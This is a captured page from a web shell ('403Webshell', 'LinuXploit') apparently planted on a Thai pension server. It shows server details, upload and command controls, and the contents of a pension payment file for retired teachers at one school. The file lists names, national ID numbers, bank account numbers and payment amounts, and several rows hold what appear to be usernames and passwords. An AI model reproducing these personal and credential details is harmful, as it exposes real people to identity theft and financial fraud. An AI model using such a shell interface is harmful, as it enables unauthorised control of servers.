403Webshell
Server IP : 61.19.30.66  /  Your IP : 216.73.216.15
Web Server : Apache/2.2.22 (Ubuntu)
System : Linux klw 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64
User : www-data ( 33)
PHP Version : 5.3.10-1ubuntu3.48
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/pension/dataslip/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/pension/dataslip/d122567.upd
ชื่อ-นามสกุล|เลขประจำตัวประชาชน|เลขบัญชีธนาคาร|บำนาญที่อนุมัติ|บำนาญเพิ่มรวม|บำนาญเพิ่มตาม ม.46|สปช.25%|บทช.|ชคบ.|ชรบ.|ตกเบิกรวม|||เงินตกเบิก|รวมรายรับ|ภาษี|กบข./กสจ.|ชพค.|ชพส.|ฌค.ศก.|บำเหน็จค้ำประกัน|สหกรณ์ออมทรัพย์|ออมสิน1|ออมสิน2|ธอส.|||||||||||||||||||||||||รวมรายจ่าย|ยอดโอนเข้าบัญชี|โรงเรียน|วดป.จ่าย
นายบุญรุ้ง สีดำ|3330700039|3121404369|21,093.60|||||1,632.00||||||22,725.60||||||1,885.45|||||||||||||||||||||||||||||1,885.45|20,840.15|กันทรลักษ์วิทยา|20 ธันวาคม 2567
นายชำนาญ พ่วงจีน|3120500068|3121177109|27,237.60|||||1,089.00||||||28,326.60|124.67|||||2,423.05|||||||||||||||||||||||||||||2,547.72|25,778.88|กันทรลักษ์วิทยา|20 ธันวาคม 2567
นายชาญวิทย์ สะอาด|3330400897|3121216333|30,186.00|||||2,086.00||||||32,272.00|321.94||850.00|420.00|390.00||1,500.00||||||||||||||||||||||||||||3,481.94|28,790.06|กันทรลักษ์วิทยา|20 ธันวาคม 2567
นายวิวัฒน์ แขมคำ|wiwatwiwat|162498|41,512.80|||||1,660.00||||||43,172.80|1,108.95||850.00|420.00|390.00|6,700.00|||||||||||||||||||||||||||||9,468.95|33,703.85|กันทรลักษ์วิทยา|20 ธันวาคม 2567
นายอนันต์ ธิบูรณ์บุญ|3330401497|3121189786|36,316.80|||||945.00||||||37,261.80|571.43||850.00|||3,328.37|16,000.00|7,500.00|||||||||||||||||||||||||||28,249.80|9,012.00|กันทรลักษ์วิทยา|20 ธันวาคม 2567
นายอำนวย ผ่องราษี|5330400067|3121296558|30,264.00|||||964.00||||||31,228.00|269.74||850.00|420.00|780.00|2,891.95|21,500.00||||||||||||||||||||||||||||26,711.69|4,516.31|กันทรลักษ์วิทยา|20 ธันวาคม 2567
นางอารุวรรณ ธิบูรณ์บุญ|5331000138|3121172247|62,100.00|||||1,437.00||||||63,537.00|3,572.22||850.00||390.00|7,574.70|||||||||||||||||||||||||||||12,386.92|51,150.08|กันทรลักษ์วิทยา|20 ธันวาคม 2567
นางกมลวรรณ ชูกลิ่น|MolWan5189|ChuKliN168|49,676.00|||||1,315.00||||||50,991.00|1,890.77||850.00|420.00|390.00||14,200.00||||||||||||||||||||||||||||17,750.77|33,240.23|กันทรลักษ์วิทยา|20 ธันวาคม 2567
นางวิราณี สุดา|3330400876|3121218077|58,947.00|||||1,407.00||||||60,354.00|3,094.77||850.00|420.00|390.00||3,000.00|5,900.00|||||||||||||||||||||||||||13,654.77|46,699.23|กันทรลักษ์วิทยา|20 ธันวาคม 2567
นายธีรกิตติ์ จันทร์ใส|Tee_Chansai|Teerakit_Ch|49,221.00|||||1,282.00||||||50,503.00|1,841.97||850.00||||||||||||||||||||||||||||||||2,691.97|47,811.03|กันทรลักษ์วิทยา|20 ธันวาคม 2567
นายสมชัย เย็นสมุทร|3331000441|3321321718|53,973.60|||||2,158.00||||||56,131.60|2,461.41||850.00|420.00|||||||||||||||||||||||||||||||3,731.41|52,400.19|กันทรลักษ์วิทยา|20 ธันวาคม 2567
นายเสน่ห์ ลีลา|3339900029|3321100452|29,419.20|||||||||||29,419.20|||850.00|||4,100.00|20,200.00||||||||||||||||||||||||||||25,150.00|4,269.20|กันทรลักษ์วิทยา|20 ธันวาคม 2567
นางสุจิตรา สุพรม|SUJITTRA_SU|JITRA_SUPR0|60,249.60|||||||||||60,249.60|3,079.11||850.00||390.00|9,800.00||20,700.00|||||||||||||||||||||||||||34,819.11|25,430.49|กันทรลักษ์วิทยา|20 ธันวาคม 2567
นางนิภาภรณ์ จันทร์สว่าง|Nipapon499|Nipapon499|60,637.20|||||||||||60,637.20|2,387.25||850.00||||||||||||||||||||||||||||||||3,237.25|57,399.95|กันทรลักษ์วิทยา|20 ธันวาคม 2567
นางกัลยา วรรณวงศ์|KalayaSirn|NApatvongi|58,374.00|||||||||||58,374.00|2,422.77||850.00|420.00|||||||||||||||||||||||||||||||3,692.77|54,681.23|กันทรลักษ์วิทยา|20 ธันวาคม 2567
นางพวงรัตน์ เรืองมณี|3440100155|3261003871|51,383.20|||||||||||51,383.20|1,929.99||850.00|420.00||6,149.22|33,600.00|7,500.00|||||||||||||||||||||||||||50,449.21|933.99|กันทรลักษ์วิทยา|20 ธันวาคม 2567
นางอัมพร รุจิรารังสรรค์|5330490034|3121209140|41,402.40|||||||||||41,402.40|931.91||850.00|420.00|390.00||37,100.00||||||||||||||||||||||||||||39,691.91|1,710.49|กันทรลักษ์วิทยา|20 ธันวาคม 2567
นางสาวประภาพรรณ์ แก้วกลม|Praphaphan|5555555555|64,897.60|||||||||||64,897.60|3,776.31||850.00||||28,700.00||||||||||||||||||||||||||||33,326.31|31,571.29|กันทรลักษ์วิทยา|20 ธันวาคม 2567
นางสาวพนิตตา มานะศรีสุริยัน|Yung2500|Yung282500|66,278.40|||||||||||66,278.40|||850.00|||16,700.00|33,500.00||||||||||||||||||||||||||||51,050.00|15,228.40|กันทรลักษ์วิทยา|20 ธันวาคม 2567
นางรุ่งนภา จันทร์ใส|Rungnapha|Chansaian|59,671.20|||||||||||59,671.20|2,992.35||850.00||||||||||||||||||||||||||||||||3,842.35|55,828.85|กันทรลักษ์วิทยา|20 ธันวาคม 2567
นายไพบูลย์ บุญชม|3330401065|3121273256|56,221.20|||||||||||56,221.20|1,663.79||850.00|420.00|390.00||11,600.00|20,700.00|||||||||||||||||||||||||||35,623.79|20,597.41|กันทรลักษ์วิทยา|20 ธันวาคม 2567
นายรังษี เลาหสูต|3330700020|3121311832|57,429.00|||||||||||57,429.00|2,656.02||850.00||||4,000.00||||||||||||||||||||||||||||7,506.02|49,922.98|กันทรลักษ์วิทยา|20 ธันวาคม 2567
นายณัชช์ฐกัณฐ์ ศรีสวัสดิ์|Ntk2806|28062500|42,243.60|||||||||||42,243.60|1,016.03||850.00|420.00||5,700.00|15,000.00|5,807.00|||||||||||||||||||||||||||28,793.03|13,450.57|กันทรลักษ์วิทยา|20 ธันวาคม 2567
นางสุวลักษณ์ จักขุจันทร|3330400880|3121839594|50,956.80|||||||||||50,956.80|589.51||850.00|420.00||6,080.31|33,000.00||||||||||||||||||||||||||||40,939.82|10,016.98|กันทรลักษ์วิทยา|20 ธันวาคม 2567
นางสิรังยานุกูล บุญค้ำมา|3330401101|3120102490|60,858.00|||||||||||60,858.00|3,170.37||850.00|420.00|780.00|7,680.45|20,000.00||||||||||||||||||||||||||||32,900.82|27,957.18|กันทรลักษ์วิทยา|20 ธันวาคม 2567
นางกนกลดา สมพงษ์|K160701|K160701|49,450.00|||||||||||49,450.00|||850.00|||7,200.00|23,200.00|7,500.00|||||||||||||||||||||||||||38,750.00|10,700.00|กันทรลักษ์วิทยา|20 ธันวาคม 2567
นายอัฒช์ธิอาจ พิทักษ์วงศ์|3330401628|3120536539|66,278.40|||||||||||66,278.40|3,608.43||850.00|420.00||8,556.43||18,700.00|7,500.00||||||||||||||||||||||||||39,634.86|26,643.54|กันทรลักษ์วิทยา|20 ธันวาคม 2567
นายถวิล คุณสวัสดิ์|3330401629|3121215418|62,560.00|||||||||||62,560.00|3,425.67||850.00||390.00|7,955.50|29,100.00|7,500.00|||||||||||||||||||||||||||49,221.17|13,338.83|กันทรลักษ์วิทยา|20 ธันวาคม 2567
นางกาญจนา แขมคำ|kanjanakh|2501250199|66,278.40|||||||||||66,278.40|2,852.68||850.00|420.00|390.00|8,900.00||10,900.00|10,900.00||||||||||||||||||||||||||35,212.68|31,065.72|กันทรลักษ์วิทยา|20 ธันวาคม 2567
นายสิทธิสมุทร เพ็งชัย|Sit182501|0819771344|64,897.60|||||||||||64,897.60|||850.00|420.00||9,600.00|23,700.00|7,500.00|||||||||||||||||||||||||||42,070.00|22,827.60|กันทรลักษ์วิทยา|20 ธันวาคม 2567
นางสาวแจ่มจันทร์ คุณมาศ|Cham245720|cham245720|65,280.00|||||||||||65,280.00|||850.00|||7,800.00|7,600.00||||||||||||||||||||||||||||16,250.00|49,030.00|กันทรลักษ์วิทยา|20 ธันวาคม 2567
นายอุดม ดำริห์|3330400412|3121312081|71,285.20|||||||||||71,285.20|3,521.95||850.00|420.00||7,541.78|13,600.00|13,800.00|||||||||||||||||||||||||||39,733.73|31,551.47|กันทรลักษ์วิทยา|20 ธันวาคม 2567
นางสาวพุฒพร รัตนวัน|3339900134|3121185918|69,040.00|||||||||||69,040.00|3,817.55||850.00||390.00|8,600.00|24,900.00||||||||||||||||||||||||||||38,557.55|30,482.45|กันทรลักษ์วิทยา|20 ธันวาคม 2567
นายสาเกียรติ แก้วปักษา|3330100526|3121215175|52,705.80|||||||||||52,705.80|1,801.80||850.00|||6,362.97|||||||||||||||||||||||||||||9,014.77|43,691.03|กันทรลักษ์วิทยา|20 ธันวาคม 2567
นางศรีรัตนา ฝอยทอง|3330300948|3121134302|58,725.00|||||||||||58,725.00|2,850.42||850.00|420.00||7,525.69|14,500.00|17,400.00|||||||||||||||||||||||||||43,546.11|15,178.89|กันทรลักษ์วิทยา|20 ธันวาคม 2567
นางคำนวน ไชยะเดชะ|Kumnuan|252363|57,300.60|||||||||||57,300.60|2,124.71||850.00|420.00|390.00||9,000.00||||||||||||||||||||||||||||12,784.71|44,515.89|กันทรลักษ์วิทยา|20 ธันวาคม 2567
นางสุภรัตน์ ยิ่งดี|suparatyingdee|suparat2503|55,143.00|||||||||||55,143.00|1,705.97||850.00|420.00|780.00|7,541.78|22,500.00|12,170.00|||||||||||||||||||||||||||45,967.75|9,175.25|กันทรลักษ์วิทยา|20 ธันวาคม 2567
นายนิเชษฐ์ มหาลี|3330501180|3121169173|62,468.00|||||||||||62,468.00|||850.00|420.00||8,780.79|30,000.00|9,500.00|||||||||||||||||||||||||||49,550.79|12,917.21|กันทรลักษ์วิทยา|20 ธันวาคม 2567
นางวิไลกลุต์ ขวัญนู|3330100012|3120272825|39,519.90|||||||||||39,519.90|||850.00|||5,279.24|||||||||||||||||||||||||||||6,129.24|33,390.66|กันทรลักษ์วิทยา|20 ธันวาคม 2567
นางจันทร์เพ็ญ ชนะปลอด|3411300411997|3121428160|31,152.80|||||||||||31,152.80|265.98||850.00|||2,424.72|13,100.00||||||||||||||||||||||||||||16,640.70|14,512.10|กันทรลักษ์วิทยา|20 ธันวาคม 2567
นายกุญช์ภัช เย็นใจ|KU25036666|25036666|41,926.50|||||||||||41,926.50|870.58||850.00|420.00||5,400.00|||||||||||||||||||||||||||||7,540.58|34,385.92|กันทรลักษ์วิทยา|20 ธันวาคม 2567
นายจันสอน ทองลอย|3250100722|3261180749|28,728.19|||||||||||28,728.19|||850.00|420.00|||6,300.00||||||||||||||||||||||||||||7,570.00|21,158.19|กันทรลักษ์วิทยา|20 ธันวาคม 2567
นางสาวนภาพิมพ์ ทองปัญญา|napapim|166504|64,897.60|||||||||||64,897.60|3,105.09||850.00||390.00|11,400.00|16,500.00|7,500.00|||||||||||||||||||||||||||39,745.09|25,152.51|กันทรลักษ์วิทยา|20 ธันวาคม 2567
นางปณิชา ศรีมาธรณ์|3331000781|3121215701|65,875.60|||||||||||65,875.60|2,129.23||850.00||||22,000.00||||||||||||||||||||||||||||24,979.23|40,896.37|กันทรลักษ์วิทยา|20 ธันวาคม 2567
นางบุศย์รินทร์ ดาทอง|butsarin|sudarat64|63,516.80|||||||||||63,516.80|2,060.02||850.00|420.00|390.00|11,800.00|7,500.00||||||||||||||||||||||||||||23,020.02|40,496.78|กันทรลักษ์วิทยา|20 ธันวาคม 2567
นางสุวภัทร ศรีนวล|3540100114|3121281852|59,116.60|||||||||||59,116.60|2,846.66||1,700.00|840.00||16,000.00|13,100.00||||||||||||||||||||||||||||34,486.66|24,629.94|กันทรลักษ์วิทยา|20 ธันวาคม 2567
นางสาวรัตติยา สนิท|RATTIYA04|RATTIYA04|63,516.80|||||||||||63,516.80|3,088.57||850.00||||30,600.00||||||||||||||||||||||||||||34,538.57|28,978.23|กันทรลักษ์วิทยา|20 ธันวาคม 2567
นางพรรณาภา สุภรณพงษ์|1004Berm|1004Berm|62,247.20|||||||||||62,247.20|1,703.89||850.00|420.00|780.00||9,900.00|||13,300.00|||||||||||||||||||||||||26,953.89|35,293.31|กันทรลักษ์วิทยา|20 ธันวาคม 2567
นางศรีสุข แย้มสง่า|Leksrisuk|Srisuk1108|41,681.15|||||||||||41,681.15|519.91||850.00||||16,100.00||||||||||||||||||||||||||||17,469.91|24,211.24|กันทรลักษ์วิทยา|20 ธันวาคม 2567
นางเนติมน มีศิริ|3460700823|3120166804|54,756.20|||||||||||54,756.20|2,267.29||850.00|420.00|390.00|5,430.27|37,500.00|5,655.00|||||||||||||||||||||||||||52,512.56|2,243.64|กันทรลักษ์วิทยา|20 ธันวาคม 2567
นายสมศิลป ทองดา|3330501216|3121223526|57,678.40|||||||||||57,678.40|2,693.43||850.00||780.00||||||||||||||||||||||||||||||4,323.43|53,354.97|กันทรลักษ์วิทยา|20 ธันวาคม 2567
นางวิลาวัลย์ เพ็งชัย|Wilawan|0819771344|66,278.40|||||||||||66,278.40|3,983.43||850.00|420.00||10,800.00|34,100.00|||14,000.00|||||||||||||||||||||||||64,153.43|2,124.97|กันทรลักษ์วิทยา|20 ธันวาคม 2567
นางประนอมนิศญ์ เย็นใจ|MU25056666|25056666|43,659.00|||||||||||43,659.00|1,157.57||850.00|420.00||5,600.00||24,400.00|||||||||||||||||||||||||||32,427.57|11,231.43|กันทรลักษ์วิทยา|20 ธันวาคม 2567
นางอัมพรรัตน์ กุคำทอน|Kuk1962|Kuk1962|66,278.40|||||||||||66,278.40|3,983.43||850.00||390.00|13,100.00|13,700.00||7,500.00||||||||||||||||||||||||||39,523.43|26,754.97|กันทรลักษ์วิทยา|20 ธันวาคม 2567
นางรวงทอง คุณสวัสดิ์|3330200121|3121185195|60,893.20|||||||||||60,893.20|3,175.65||850.00||390.00|7,900.00|32,000.00|7,500.00|||||||||||||||||||||||||||51,815.65|9,077.55|กันทรลักษ์วิทยา|20 ธันวาคม 2567
ว่าที่ร้อยตรีเหรียญ ดาทอง|Rian_2565|ict_603|61,635.80|||||||||||61,635.80|3,287.04||850.00|420.00|390.00|11,800.00|12,100.00||||||||||||||||||||||||||||28,847.04|32,788.76|กันทรลักษ์วิทยา|20 ธันวาคม 2567
นายเอกธนัช เหลาสิงห์|3330400413|3121260146|69,040.00|||||||||||69,040.00|3,647.67||850.00|420.00||6,407.95||10,261.00|20,200.00||||||||||||||||||||||||||41,786.62|27,253.38|กันทรลักษ์วิทยา|20 ธันวาคม 2567
นางสาวรพีพรรณ บุญเย็น|3330401162|3121481398|31,078.36|||||||||||31,078.36|137.26||850.00||390.00||5,100.00|14,200.00|1,400.00||||||||||||||||||||||||||22,077.26|9,001.10|กันทรลักษ์วิทยา|20 ธันวาคม 2567
นางขวัญชีวา ศิริมา|Cheewa2507|Cheewa2507|42,213.60|||||||2,131.20||||44,344.80|||850.00|420.00||1,017.29||7,500.00|||||||||||||||||||||||||||9,787.29|34,557.51|กันทรลักษ์วิทยา|20 ธันวาคม 2567
สิบเอกสมศักดิ์ โกศล|kru-aut|30012507|52,197.60|||||||2,486.40||||54,684.00|||850.00|420.00|||9,400.00|13,000.00|||||||||||||||||||||||||||23,670.00|31,014.00|กันทรลักษ์วิทยา|20 ธันวาคม 2567
นายลิน ยิ่งดี|linyingdee|linyingdee2506|63,331.20|||||||2,841.60||||66,172.80|||850.00|420.00|390.00||36,300.00||||||||||||||||||||||||||||37,960.00|28,212.80|กันทรลักษ์วิทยา|20 ธันวาคม 2567
นางพัทธยา ชุมสงคราม|rbee004862|0874543646|64,897.60|||||||||||64,897.60|||850.00|420.00|390.00|8,800.00|27,600.00||||||||||||||||||||||||||||38,060.00|26,837.60|กันทรลักษ์วิทยา|20 ธันวาคม 2567
นางอรวรรณ หลอมทอง|Orawan|85928592|34,154.19|||||||30.94||||34,185.13|||850.00|420.00|||8,400.00|||19,300.00|||||||||||||||||||||||||28,970.00|5,215.13|กันทรลักษ์วิทยา|20 ธันวาคม 2567

Youez - 2016 - github.com/yon3zu
LinuXploit